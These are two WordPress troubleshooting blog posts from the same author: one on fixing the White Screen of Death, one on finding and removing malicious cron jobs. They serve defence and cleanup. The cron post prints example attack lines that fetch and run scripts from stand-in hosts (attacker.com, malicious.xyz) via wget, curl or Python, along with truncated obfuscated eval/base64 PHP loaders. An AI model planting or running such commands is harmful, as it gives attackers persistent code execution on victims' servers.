Category: WordPress Malware

Seeing a blank white page instead of your WordPress site is terrifying, but the WordPress White Screen of Death (WSOD) is almost always fixable within minutes. Whether it’s a plugin conflict, memory exhaustion, theme issue, or even malware infection, this comprehensive guide covers 8 proven solutions that have helped me restore thousands of crashed WordPress sites.

After cleaning over 4,500 hacked WordPress sites and troubleshooting countless technical issues, I’ve seen every variation of the white screen problem. This guide walks you through the systematic approach I use to diagnose and fix WSOD issues — from the quickest 30-second fixes to advanced malware cleanup that security plugins miss.

What Is the WordPress White Screen of Death?

The WordPress White Screen of Death (WSOD) appears when your website displays a completely blank white page instead of your normal content. In newer WordPress versions (5.2+), you might see “There has been a critical error on this website” instead, but the underlying causes are identical.

This happens when PHP encounters a fatal error that stops WordPress from loading completely. Because most hosting providers hide error messages from visitors for security reasons, you see a blank screen instead of helpful debugging information.

Common WSOD Scenarios

Frontend-only white screen: Admin area works, but visitors see blank pages — usually theme-related
Admin-only white screen: Site works, but wp-admin is blank — typically plugin conflicts
Complete white screen: Both frontend and admin are blank — server, memory, or core file issues
Partial white screen: Some pages work, others don’t — specific plugin or content conflicts

Understanding which scenario you’re experiencing helps target the right solution faster.

Step 1: Enable WordPress Debug Mode (Essential First Step)

Before trying any fixes, enable debug mode to see what’s actually causing the crash. This turns the unhelpful white screen into actionable error messages.

How to enable debugging:

1. Access your WordPress files via FTP or hosting file manager
2. Open wp-config.php in the root directory
3. Find the line that says define( 'WP_DEBUG', false );
4. Replace it with these debugging lines:

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );
define( 'SCRIPT_DEBUG', true );

5. Save the file and reload your site
6. Check /wp-content/debug.log for error messages

The error log will show exactly which file is causing the crash and what went wrong. This information is crucial for applying the right fix.

Important: Turn off debugging once you’ve fixed the issue by changing WP_DEBUG back to false.

Step 2: Fix Plugin Conflicts (Most Common Cause)

Plugin conflicts cause roughly 60% of WordPress white screens. A recent plugin update, new installation, or conflict between two plugins can crash your entire site.

Method A: If You Can Access wp-admin

1. Go to Plugins → Installed Plugins
2. Select all plugins using the checkbox at the top
3. Choose Deactivate from the Bulk Actions dropdown
4. Click Apply
5. Check if your site loads normally
6. If fixed, reactivate plugins one by one to identify the culprit

Method B: If wp-admin Is Also Blank (FTP Method)

1. Connect to your server via FTP or hosting file manager
2. Navigate to /wp-content/
3. Rename the plugins folder to plugins-disabled
4. Reload your site — if it works, plugins were the cause
5. Rename back to plugins to reactivate all plugins
6. Rename individual plugin folders to isolate the problematic one

This method is faster than WordPress Recovery Mode because it immediately tells you if plugins are involved.

Method C: Database Method (Advanced)

If FTP access isn’t available, deactivate all plugins through the database:

1. Access phpMyAdmin or your hosting database manager
2. Find the wp_options table (prefix may vary)
3. Look for the active_plugins option
4. Change its value from the plugin array to empty: a:0:{}
5. Save and reload your site

For more advanced plugin troubleshooting techniques, see my guide on preventing fake hidden plugins that can cause persistent crashes.

Step 3: Resolve Theme Issues

If deactivating plugins didn’t fix the white screen, your active theme is likely the culprit. Theme conflicts with WordPress updates, PHP version incompatibilities, or corrupted theme files can cause WSOD.

Switch to Default Theme

Via WordPress admin (if accessible):

1. Go to Appearance → Themes
2. Activate a default WordPress theme (Twenty Twenty-Four, Twenty Twenty-Three)
3. Check if the white screen is resolved

Via FTP (if admin is inaccessible):

1. Navigate to /wp-content/themes/
2. Rename your active theme folder (e.g., mytheme to mytheme-disabled)
3. WordPress will automatically fall back to the default theme
4. Reload your site to test

Common Theme-Related Issues

functions.php errors: Check your theme’s functions.php for syntax errors, missing closing brackets, or deprecated functions
PHP version incompatibility: Older themes may use deprecated PHP functions that crash on PHP 8.0+
Memory exhaustion: Heavy themes with poor coding can exceed your server’s memory limit

If switching themes fixes the issue, contact your theme developer or consider using a more reliable theme. I’ve documented theme security best practices in my WordPress security tips guide.

Step 4: Increase PHP Memory Limit

Memory exhaustion is a leading cause of white screens, especially on sites with multiple plugins, page builders, or high traffic. WordPress requires a minimum of 64MB, but modern sites typically need 256MB or more.

Method A: wp-config.php

Add this line to your wp-config.php file, just before the /* That's all, stop editing! */ line:

ini_set( 'memory_limit', '256M' );

Method B: .htaccess File

Add this line to your .htaccess file in the WordPress root directory:

php_value memory_limit 256M

Method C: php.ini File

If you have access to php.ini, add or modify this line:

memory_limit = 256M

Note: Some managed hosting providers (WP Engine, Kinsta) handle memory limits automatically or require contacting support to increase them.

If memory increase fixes your white screen, investigate which plugins or themes are consuming excessive resources. Tools like Query Monitor can help identify memory-hungry components.

Step 5: Clear All Caches

Corrupted cache files can serve broken versions of your site, creating persistent white screens even after fixing the underlying issue.

Browser Cache

• Hard refresh: Ctrl+F5 (Windows) or Cmd+Shift+R (Mac)
• Incognito/Private mode: Test your site in a private browser window
• Clear browser cache: Use your browser’s clear browsing data option

WordPress Cache Plugins

If you use caching plugins like WP Rocket, W3 Total Cache, or WP Super Cache:

1. Access the plugin’s settings page
2. Find the “Clear Cache” or “Purge Cache” option
3. Delete all cached files
4. Test your site

Hosting-Level Cache

Many hosting providers offer built-in caching:

• Cloudflare: Go to Caching → Purge Everything
• SiteGround: Use SG Optimizer plugin or cPanel cache tools
• WP Engine: Use the “Clear all caches” button in their portal
• Kinsta: Clear cache from MyKinsta dashboard

Step 6: Fix Corrupted Core Files

WordPress core files can become corrupted during failed updates, malware infections, or server issues. This is more common than most people realize and can cause persistent white screens.

Reinstall WordPress Core

1. Download the latest WordPress version from WordPress.org
2. Extract the ZIP file on your computer
3. Upload only these folders via FTP, overwriting existing ones:
   • wp-admin/
   • wp-includes/
4. Do NOT overwrite:
   • wp-config.php (contains your database credentials)
   • wp-content/ (contains your themes, plugins, uploads)
   • .htaccess (contains your permalink structure)
5. Test your site after the upload completes

Check Specific Core Files

If you suspect specific file corruption, compare these critical files against fresh WordPress downloads:

• index.php — Main entry point
• wp-config.php — Configuration file
• .htaccess — URL rewriting rules

For comprehensive guidance on maintaining WordPress core integrity, see my complete WordPress security guide.

Step 7: Detect and Remove Malware (Advanced)

Malware infections can cause white screens through various mechanisms — corrupted files, resource exhaustion, or incompatible code execution. I’ve encountered specific malware families that consistently trigger WSOD.

Case Study: The “Zeura” Malware Family

One particularly troublesome malware family I frequently encounter uses the signature <?php /*** PHP Encode v1.0 by zeura.com ***/ and employs sophisticated obfuscation to hide malicious payloads in core files.

Typical zeura malware structure:

$XnNhAWEnhoiqwciqpoHH=file(__FILE__);
eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4..."));
eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));
eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));
__halt_compiler();
// [Encrypted binary data follows]

This malware causes white screens because:

• PHP version incompatibility: Uses deprecated functions like create_function() removed in PHP 8.0+
• Memory exhaustion: Attempts to decode large encrypted payloads
• Syntax errors: Corrupted copy-paste operations during infection

Manual Malware Detection and Removal

1. Check common infection points:

• index.php (WordPress root)
• wp-config.php
• Active theme’s functions.php and header.php
• Recently modified files in /wp-content/uploads/

2. Look for malware signatures:

• eval(base64_decode( — Base64 encoded malware
• gzinflate(base64_decode( — Compressed malware
• __halt_compiler(); — Self-extracting malware
• Long strings of random characters in PHP files

3. Use professional scanning:

While manual detection catches obvious infections, sophisticated malware requires professional tools. I recommend running comprehensive scans with both Wordfence and Sucuri for complete coverage.

For sites with persistent white screens that resist standard troubleshooting, malware cleanup may be necessary. I offer professional WordPress malware removal services with a proven track record of resolving complex infections that cause WSOD.

Step 8: Fix File Permission Issues

Incorrect file permissions can prevent WordPress from reading essential files, resulting in white screens. This often happens after site migrations, hosting changes, or security hardening.

Correct WordPress File Permissions

Standard permission structure:

• Directories: 755 (rwxr-xr-x)
• PHP files: 644 (rw-r–r–)
• wp-config.php: 600 (rw——-) for security

Fix Permissions via FTP

1. Connect to your server via FTP
2. Right-click on your WordPress root folder
3. Select “File permissions” or “CHMOD”
4. Set directories to 755, files to 644
5. Apply changes recursively to all subdirectories

Fix Permissions via SSH

If you have SSH access, use these commands:

# Set directory permissions
find /path/to/wordpress/ -type d -exec chmod 755 {} \;

# Set file permissions  
find /path/to/wordpress/ -type f -exec chmod 644 {} \;

# Secure wp-config.php
chmod 600 wp-config.php

For detailed guidance on WordPress file permissions and security, see my guide on fixing WordPress file permissions.

When to Restore from Backup

Sometimes the fastest solution is restoring from a recent backup, especially for business-critical sites where downtime costs more than troubleshooting time.

Restore from backup if:

• Multiple fixes haven’t resolved the issue
• You suspect complex malware infection
• The site was working fine within the last 24-48 hours
• Downtime is costing money or reputation

Before restoring:

1. Document what you tried so far
2. Note when the white screen first appeared
3. Choose a backup from before the issue started
4. Test the restoration on a staging site first if possible

For reliable backup solutions, I recommend following my UpdraftPlus backup guide to prevent future data loss.

Prevention: Avoiding Future White Screen Issues

Preventing WSOD is easier than fixing it. Based on patterns I see across thousands of sites, implement these protections:

Regular Maintenance

• Update everything: WordPress core, plugins, themes
• Remove unused plugins and themes: Inactive code can still cause conflicts
• Monitor plugin compatibility: Check plugin reviews before updates
• Use staging sites: Test updates before applying to production

Security Measures

• Install security plugins: Wordfence, Sucuri, or similar
• Regular malware scans: Weekly automated security checks
• Strong access controls: Limit admin users, use strong passwords
• File editing restrictions: Disable file editing in wp-config.php

Performance Optimization

• Monitor memory usage: Identify resource-heavy plugins
• Choose quality hosting: Avoid the cheapest hosting options
• Optimize images and databases: Reduce server load
• Use reliable caching: Configure caching correctly

For comprehensive site protection strategies, see my detailed analysis of why cheap hosting makes sites vulnerable and my essential security tips every WordPress owner must know.

When to Seek Professional Help

Some white screen issues require expert intervention, especially when they involve:

• Complex malware infections that resist standard cleanup
• Server-level configuration problems beyond WordPress settings
• Database corruption affecting core WordPress functionality
• Custom code conflicts in heavily customized sites
• Recurring white screens that return after fixes

I offer professional WordPress troubleshooting and security services for cases that exceed standard DIY fixes. You can contact me directly for immediate assistance with critical WSOD issues.

FAQ: WordPress White Screen of Death

Why is my WordPress site showing a white screen?

WordPress white screens occur when PHP encounters a fatal error that stops the site from loading. Common causes include plugin conflicts (60% of cases), theme issues, memory exhaustion, corrupted files, malware infections, or server configuration problems. The blank screen appears because most hosting providers hide error messages from visitors for security reasons.

How do I fix WordPress white screen of death?

Start by enabling WordPress debug mode in wp-config.php to see the actual error. Then systematically check: 1) Deactivate all plugins via FTP, 2) Switch to a default theme, 3) Increase PHP memory limit to 256MB, 4) Clear all caches, 5) Reinstall WordPress core files. Most white screens resolve within the first 2-3 steps.

Can I access wp-admin if my site has a white screen?

Sometimes. If only the frontend shows a white screen but wp-admin works, the issue is usually theme-related. If both frontend and wp-admin are blank, it’s typically a plugin conflict, memory issue, or corrupted core files. Try accessing yourdomain.com/wp-admin to test admin availability.

What’s the difference between white screen of death and critical error?

In WordPress 5.2+, you might see “There has been a critical error on this website” instead of a blank white screen. Both indicate the same underlying problem — a fatal PHP error — but the critical error message means WordPress’s error protection activated. The troubleshooting steps are identical for both scenarios.

How do I fix white screen caused by memory limit?

Increase your PHP memory limit by adding ini_set( 'memory_limit', '256M' ); to wp-config.php, or php_value memory_limit 256M to .htaccess. If you can’t edit files, contact your hosting provider. Memory-related white screens often affect sites with multiple plugins, page builders, or high traffic volumes.

Can malware cause WordPress white screen of death?

Yes. Malware can trigger white screens through corrupted code injection, memory exhaustion from crypto mining, or PHP version incompatibilities. Look for suspicious code like eval(base64_decode( in core files, especially index.php, wp-config.php, and theme files. Professional malware removal may be required for sophisticated infections.

How long does it take to fix WordPress white screen?

Simple cases (plugin conflicts, cache issues) typically resolve in 10-30 minutes. Complex issues (malware, corrupted databases, custom code conflicts) can take 1-3 hours. If you have a recent backup, restoration might be faster than troubleshooting. Most white screens (80%+) are fixed within the first hour of systematic troubleshooting.

Should I restore from backup or troubleshoot the white screen?

Restore from backup if: the site was working recently (24-48 hours), you suspect complex malware, multiple fixes failed, or downtime is costly. Troubleshoot manually if: you want to learn what went wrong, no recent backups exist, or you’ve made important changes since the last backup that you don’t want to lose.

Conclusion

The WordPress White Screen of Death looks devastating but follows predictable patterns. By systematically working through these 8 solutions — from quick cache clears to advanced malware removal — you can restore almost any crashed WordPress site.

The key is understanding that white screens are symptoms, not diseases. Enable debugging first to see the real error, then apply the appropriate fix based on the actual cause rather than guessing.

Remember the troubleshooting hierarchy:

1. Quick wins: Cache clearing, plugin deactivation (fixes 70% of cases)
2. Common issues: Theme conflicts, memory limits (fixes 20% more)
3. Advanced problems: Corrupted files, malware, permissions (fixes remaining 10%)

Most importantly, implement preventive measures after fixing the immediate issue. Regular updates, proper backups, security monitoring, and quality hosting prevent most white screen problems from occurring in the first place.

If you’re dealing with a persistent white screen that resists these solutions, or you need immediate professional assistance, I offer WordPress critical error fix services with same-day resolution for urgent cases. For ongoing protection, consider implementing the security measures outlined in my comprehensive WordPress maintenance checklist.

About the author: Md Pabel is a WordPress security specialist who has personally cleaned over 4,500 hacked WordPress sites and resolved thousands of white screen emergencies. He documents real-world WordPress troubleshooting techniques and security best practices at mdpabel.com.

You delete the infected file. Five minutes later, it’s back. You delete it again. Hours later, the same malware reappears with a different filename. Your site is being reinfected automatically — and the most common cause is a malicious cron job.

A cron job is just a scheduled task on your server. Legitimate sites use them all the time (running backups, sending scheduled emails, clearing caches). But attackers also use them as their insurance policy against your cleanup attempts. They install a hidden cron job that re-downloads or re-creates the malware automatically — every minute, every hour, every day — for as long as it stays on your server.

After cleaning 4,500+ hacked WordPress sites, I find malicious cron jobs are responsible for the majority of “malware keeps coming back” cases. This guide walks through exactly how to find and kill them, whether you’re on cPanel, a VPS, or managed hosting.

What Is a Cron Job and How Hackers Abuse It

A cron job is a task your server runs automatically on a schedule. Every modern web server supports cron — it’s built into Linux/Unix and exposed through tools like cPanel’s Cron Jobs section.

Legitimate examples on a WordPress site:

• UpdraftPlus running daily backups at 3 AM
• WordPress core checking for plugin updates
• Caching plugins clearing expired cache files
• SEO plugins regenerating sitemaps
• Email plugins sending newsletters at scheduled times

The cron syntax looks like this:

* * * * * /path/to/command

The five asterisks represent minute, hour, day-of-month, month, day-of-week. Five asterisks means “run every minute of every hour of every day forever.” That extreme frequency is exactly what attackers want — instant reinfection the moment you clean their malware.

How a Malicious Cron Job Gets There in the First Place

Attackers can’t just add a cron job to a server they don’t have access to. The cron job is never the first step of a hack — it’s added after the attacker has already gained some access. The typical infection sequence:

1. Initial breach — Attacker exploits an outdated plugin, weak password, vulnerable theme, or compromised credentials to get into the site
2. Backdoor upload — They upload a webshell — often disguised with an innocent name like wp-check.php, cache.php, or hidden inside /wp-includes/. This webshell gives them ongoing command-line access to your server
3. Cron job installation — Through the webshell, they execute the command needed to install a cron job. The cron job becomes their persistence mechanism
4. Payload execution — The cron job runs on schedule, re-downloading malware from a remote URL, recreating backdoor files, or restoring spam content

This is why standard cleanup fails so often. You find and delete one backdoor, feeling like you’ve solved it. But the cron job is sitting silently in the background, ready to re-download a fresh copy of the malware the moment your cleanup is complete.

For more on how the initial breach typically happens, see how hackers hide backdoors in WordPress.

Anatomy of a Real Malicious Cron Job

Here’s an actual malicious cron command I’ve found on multiple client sites. Understanding how it works helps you recognize variants:

* * * * * /usr/local/bin/php -r 'eval(gzinflate(base64_decode("jVJrb6JAFP3ur2YUqcQGbatYaWxqfaa1...")));'

[Screenshot: cPanel Cron Jobs interface showing the malicious entry highlighted]

Let’s break down what makes this dangerous and how to spot variants:

The Three Layers of Obfuscation

Attackers use three layers to hide the actual malicious code from casual inspection and from basic security scanners:

The combination eval(gzinflate(base64_decode(...))) is the classic “PHP malware obfuscation triple play.” If you see this pattern anywhere on your server — in cron jobs, in PHP files, in database options — it’s almost certainly malicious.

The Schedule: * * * * *

That five-asterisk schedule means “run every minute”. Attackers use this aggressive timing because it ensures the malware reappears almost instantly after you delete it. By the time you finish cleaning a file, the cron job has already restored it.

Other schedules to recognize:

• */5 * * * * — every 5 minutes
• 0 * * * * — every hour at minute 0
• 0 */6 * * * — every 6 hours
• 0 3 * * * — every day at 3 AM (when traffic is low)

Common Variants You’ll See

Attackers vary the pattern, but the core obfuscation stays similar:

# Variant 1: Direct PHP execution
* * * * * php -r 'eval(base64_decode("..."));'

# Variant 2: wget downloading remote payload
* * * * * wget -q -O - http://attacker.com/payload.txt | bash

# Variant 3: curl-based reinfection
*/10 * * * * curl -s http://malicious.xyz/install.sh | sh

# Variant 4: Python (less common)
* * * * * python -c "import urllib.request;exec(urllib.request.urlopen('http://...').read())"

# Variant 5: Hidden in a "legitimate" path
* * * * * /var/www/html/wp-content/.cache/update.php

Any cron job that downloads from an external URL, executes encoded data, or runs from suspicious paths inside your WordPress installation should be considered malicious until proven otherwise.

Method 1: Find and Remove Malicious Cron Jobs in cPanel

cPanel hosts (most shared hosting — Bluehost, HostGator, GoDaddy cPanel plans, SiteGround, etc.) make this relatively straightforward.

Step-by-Step cPanel Removal

1. Log in to your cPanel account
2. Scroll to the Advanced section (sometimes called “Tools”)
3. Click Cron Jobs
4. Scroll to the Current Cron Jobs table at the bottom of the page
5. Examine every entry carefully. Look for any of these red flags:
   • Commands containing eval, base64_decode, gzinflate, str_rot13
   • Commands downloading from external URLs (wget http://..., curl http://...)
   • Commands you don’t recognize and didn’t create
   • Commands running every minute (* * * * *) — almost always malicious unless you specifically set up a high-frequency monitor
   • Commands pointing to suspicious paths inside /wp-content/
   • Commands with extremely long obfuscated arguments
6. Click the Delete button next to each malicious entry
7. Confirm deletion when prompted

What Legitimate Cron Jobs Look Like

For comparison, legitimate cron jobs are usually clear and readable:

# WordPress real cron (sometimes set up to replace WP-Cron)
*/5 * * * * /usr/bin/php /home/username/public_html/wp-cron.php

# UpdraftPlus or backup plugin
0 3 * * * /home/username/public_html/wp-content/plugins/updraftplus/cron.php

# Plain WordPress wp-cron via wget
*/15 * * * * wget -q -O - https://yourdomain.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1

The key distinction: legitimate cron jobs reference clear, readable file paths within your own site. Malicious ones use obfuscated commands or external URLs.

Method 2: Find Malicious Cron Jobs via SSH (VPS, Cloud, Dedicated)

If you’re on a VPS, cloud server, or dedicated host, you’ll need terminal access via SSH. This method is also more thorough because you can check cron jobs for multiple users — something cPanel doesn’t show.

Check Your User’s Cron Jobs

1. Connect to your server via SSH using your terminal or a tool like PuTTY
2. Run this command to list your current user’s cron jobs:

crontab -l

[Screenshot: terminal output showing crontab listing]

Review the output carefully for the same red flags from Method 1.

Edit and Remove Malicious Entries

If you find malicious entries, edit your crontab to remove them:

crontab -e

This opens your crontab in a text editor (usually nano or vi). Use arrow keys to navigate to the malicious line, delete the entire line, then save:

• nano: Ctrl+O to save, Enter to confirm, Ctrl+X to exit
• vi/vim: Press i to enter edit mode, delete the line, press Escape, type :wq to save and exit

The Critical Step Most People Miss: Check Other Users

Sophisticated attackers often hide cron jobs under different system users — not your main user account. The web server user (www-data, apache, or nginx) is a common hiding spot because that’s the user PHP runs as.

Run these commands (requires sudo/root access):

# Check root's cron jobs
sudo crontab -l

# Check the web server user's cron jobs (varies by OS)
sudo crontab -u www-data -l    # Debian/Ubuntu
sudo crontab -u apache -l      # CentOS/RHEL
sudo crontab -u nginx -l       # Nginx-based systems

# List ALL users with cron jobs on the system
sudo ls -la /var/spool/cron/crontabs/    # Ubuntu/Debian
sudo ls -la /var/spool/cron/             # CentOS/RHEL

# Check system-wide cron files
sudo cat /etc/crontab
sudo ls -la /etc/cron.d/
sudo ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

Examine each location for suspicious entries. Attackers sometimes drop cron files into /etc/cron.d/ with innocent-looking names like php-update or wp-cache-clear.

Method 3: Audit WP-Cron (WordPress Internal Scheduler)

WordPress has its own internal scheduler called WP-Cron. Unlike server-level cron jobs, WP-Cron events are stored in your WordPress database and run when someone visits your site. Attackers can hijack WP-Cron just as easily as server cron.

Inspect WP-Cron with WP Crontrol Plugin

1. Install the free WP Crontrol plugin from WordPress.org
2. Activate it
3. Go to Tools → Cron Events
4. Review every scheduled event listed

What to look for:

• Hooks with random names — Something like wp_xyz_update or hex-string hooks like _0x4a2b
• Hooks pointing to functions you don’t recognize — Especially in unfamiliar plugin files
• Events with extremely high frequency — Multiple times per hour for tasks that shouldn’t be that frequent
• Hooks from plugins you’ve already deleted — Sometimes orphaned cron events keep running malicious code

Check WP-Cron via WP-CLI (Advanced)

If you have WP-CLI access, this is faster:

# List all scheduled cron events
wp cron event list

# List all registered cron hooks
wp cron schedule list

# Delete a suspicious cron event
wp cron event delete suspicious_hook_name

Check WP-Cron Directly in the Database

WP-Cron data is stored in wp_options as a serialized array under the option name cron. In phpMyAdmin:

1. Open your database
2. Browse the wp_options table
3. Search for option_name = cron
4. Examine the option_value for unfamiliar function names or suspicious URLs

What to Do Immediately After Removing the Cron Job

Deleting the malicious cron job stops the reinfection from happening. But the site is still infected — the cron job was just preventing your previous cleanups from sticking. Now the cleanup will actually hold.

Step 1: Run a Full Malware Scan

Now that the re-infector is gone, scan with:

• Wordfence — Find infected files
• Sucuri SiteCheck (sitecheck.sucuri.net) — External malware detection
• VirusTotal — Multi-vendor blacklist check

Step 2: Clean All Infected Files

Work through your scanner’s findings. With the cron job gone, deleted files will stay deleted. For comprehensive cleanup, see my expert guide to clean hacked WordPress sites.

Step 3: Find the Original Backdoor That Installed the Cron

Remember: the cron job was added through a backdoor. That backdoor is probably still on your server. Hunt for it:

• Check /wp-content/uploads/ for any PHP files (none should exist there)
• Check /wp-content/mu-plugins/ for unauthorized files
• Look for files modified around the same time the cron job was created
• Search PHP files for eval(base64_decode( patterns

Run these commands via SSH:

# Find PHP files in uploads (red flag)
find ./wp-content/uploads/ -name "*.php"

# Find files containing malware patterns
grep -rnw './wp-content/' -e 'eval(' --include="*.php"
grep -rnw './wp-content/' -e 'gzinflate(' --include="*.php"

# Find recently modified PHP files
find ./wp-content/ -name "*.php" -mtime -30 -ls

Step 4: Change Every Password

• Hosting/cPanel password
• All WordPress admin passwords
• FTP/SFTP/SSH credentials
• Database password (update wp-config.php after)
• Email accounts that can reset other passwords

Step 5: Reset WordPress Salts

Generate new salts at api.wordpress.org/secret-key/1.1/salt and replace the matching values in wp-config.php. This invalidates all active sessions, including any hacker sessions.

Step 6: Update Everything

WordPress core, every plugin, every theme. Remove unused plugins and themes. The original entry point was probably an outdated component — patching is essential.

Step 7: Harden Against Future Cron Injections

• Add define('DISALLOW_FILE_EDIT', true); to wp-config.php (see my wp-config security constants guide)
• Enable two-factor authentication (2FA setup guide)
• Hide your login URL (change login URL guide)
• Install a security plugin for ongoing monitoring (Wordfence vs Sucuri)
• Set up off-site backups (UpdraftPlus guide)

Why Cron-Based Reinfection Is So Common

Three reasons cron job malware is so prevalent:

1. Most site owners don’t know to look for it. They focus on PHP files and ignore the cron tab entirely. Even most security plugins don’t actively monitor cron job changes.
2. Modifying cron is easy with shell access. Once an attacker has any code execution on your server, adding a cron job is a single command. It’s the lowest-effort persistence mechanism available.
3. Cron jobs survive most cleanups. Even thorough file cleanups and database scrubs miss cron because cron lives in a different system entirely (the OS-level scheduler, not WordPress files or the database).

This is why malicious cron jobs cause more reinfections than any other persistence mechanism in my experience. If WordPress malware keeps coming back, cron is always my first check.

For other reinfection causes (hidden admin users, ghost plugins, database malware, sibling site infections), see my master guide on why WordPress malware keeps coming back.

Real Case: How Cron Jobs Sustained 12,000 Spam Posts

One of the most dramatic cron job cases I’ve worked on: a client’s WordPress site had been compromised for months. Every time they cleaned up the spam casino posts (sometimes thousands at a time), they’d reappear within 24 hours. Wordfence reported the site clean. The hosting provider couldn’t find the issue.

The culprit: a malicious cron job running every hour, calling a remote URL that returned fresh batches of casino spam content. Removing the cron job — combined with cleaning the existing spam — finally stopped the cycle.

Read the full breakdown: how I removed 12,000 casino gambling posts and stopped cron job malware.

FAQ: Cron Job Malware

How do I know if my WordPress malware is from a cron job?

The biggest tell is timing. If malware reappears at predictable intervals — every minute, every hour, every day at the same time — it’s almost certainly a scheduled task. Cron-based reinfection is also faster than other reinfection types: the malware comes back within minutes of deletion, not days. If reinfection happens unpredictably, it’s more likely a backdoor file or hidden admin user.

Where do hackers usually hide cron jobs?

The most common locations: cPanel Cron Jobs section (most shared hosting), the system-level crontab via crontab -e (your user), the web server user’s crontab via sudo crontab -u www-data -l, system-wide cron files in /etc/cron.d/, and WordPress’s internal WP-Cron stored in the wp_options database table. Sophisticated attacks may use multiple locations simultaneously.

Can security plugins detect malicious cron jobs?

Generally no. Most WordPress security plugins (Wordfence, Sucuri, MalCare) scan files and database content but don’t inspect server-level cron jobs. Some monitor WP-Cron events for unfamiliar hooks, but most don’t actively flag suspicious cron entries. This is why manual cron auditing is essential when malware keeps coming back.

Will deleting the cron job fix my hacked site completely?

No — it stops the reinfection cycle but doesn’t remove existing malware. After deleting the cron job, you still need to scan for and remove infected files, find the original backdoor that allowed cron installation, change all passwords, and update your software. The cron job removal is one critical step in a larger cleanup process.

What does eval(gzinflate(base64_decode())) mean in a cron command?

It’s a three-layer obfuscation pattern. base64_decode converts encoded text back to binary data, gzinflate decompresses that data, and eval executes the decompressed code as PHP. This combination is almost exclusively used by malware to hide malicious code from inspection. If you see this pattern in a cron job (or anywhere else on your server), assume it’s malicious.

Can I just disable WP-Cron entirely to prevent this?

You can disable WP-Cron by adding define('DISABLE_WP_CRON', true); to wp-config.php, then setting up a real server cron job to call wp-cron.php. This actually improves performance and security because legitimate WordPress tasks run more reliably. However, it doesn’t prevent server-level cron job attacks — those happen through the OS scheduler, not WordPress.

How do attackers add cron jobs without my knowledge?

They don’t add cron jobs as the first step — that requires existing access. The sequence is: (1) attacker exploits a vulnerability or steals credentials to get initial access, (2) uploads a backdoor file (webshell), (3) uses the webshell to execute the cron-installation command. The cron job is their persistence layer, not their entry point. Find and patch the original entry point or they’ll just re-add the cron later.

What if I can’t find any malicious cron jobs but malware still keeps coming back?

If cron is clean, the persistence mechanism is one of the other 7 causes I cover in my comprehensive reinfection guide — backdoor files, hidden admin users, modified core files, database injections, infected sibling sites on the same hosting account, unrotated credentials, or unpatched original vulnerabilities. Work through each systematically.

Will my hosting provider help find malicious cron jobs?

Most shared hosts (Bluehost, GoDaddy, HostGator) won’t actively investigate cron jobs for you, but they will give you cPanel access to inspect them yourself. Some managed hosts (Kinsta, WP Engine) handle cron at the platform level and may block obvious malicious entries. For comprehensive cleanup, you usually need security expertise that goes beyond standard hosting support.

Get Help Removing Cron Job Malware

Cron job malware is technically simple to remove once you know what to look for, but finding all the persistence layers (cron job + backdoors + original entry point) is what makes a cleanup actually stick. If you’ve identified a malicious cron job but can’t find the backdoor that installed it, or if removing the cron job doesn’t stop reinfection, you’re missing something deeper.

This is exactly the type of investigation I run on every paid cleanup. I work through cron jobs first (server-level and WP-Cron), find every backdoor that could re-install cron, identify and patch the original entry point, and harden against future cron-based attacks.

For broader reinfection scenarios beyond cron jobs, see my master guide on why WordPress malware keeps coming back and how to stop it forever. If your site is also blacklisted, pair cleanup with my Google blacklist removal service.

About the author: Md Pabel is a WordPress security specialist with 7+ years of experience. He has personally cleaned over 4,500 hacked WordPress sites and specializes in finding persistence mechanisms that defeat standard cleanup attempts. Real-world malware analysis at mdpabel.com.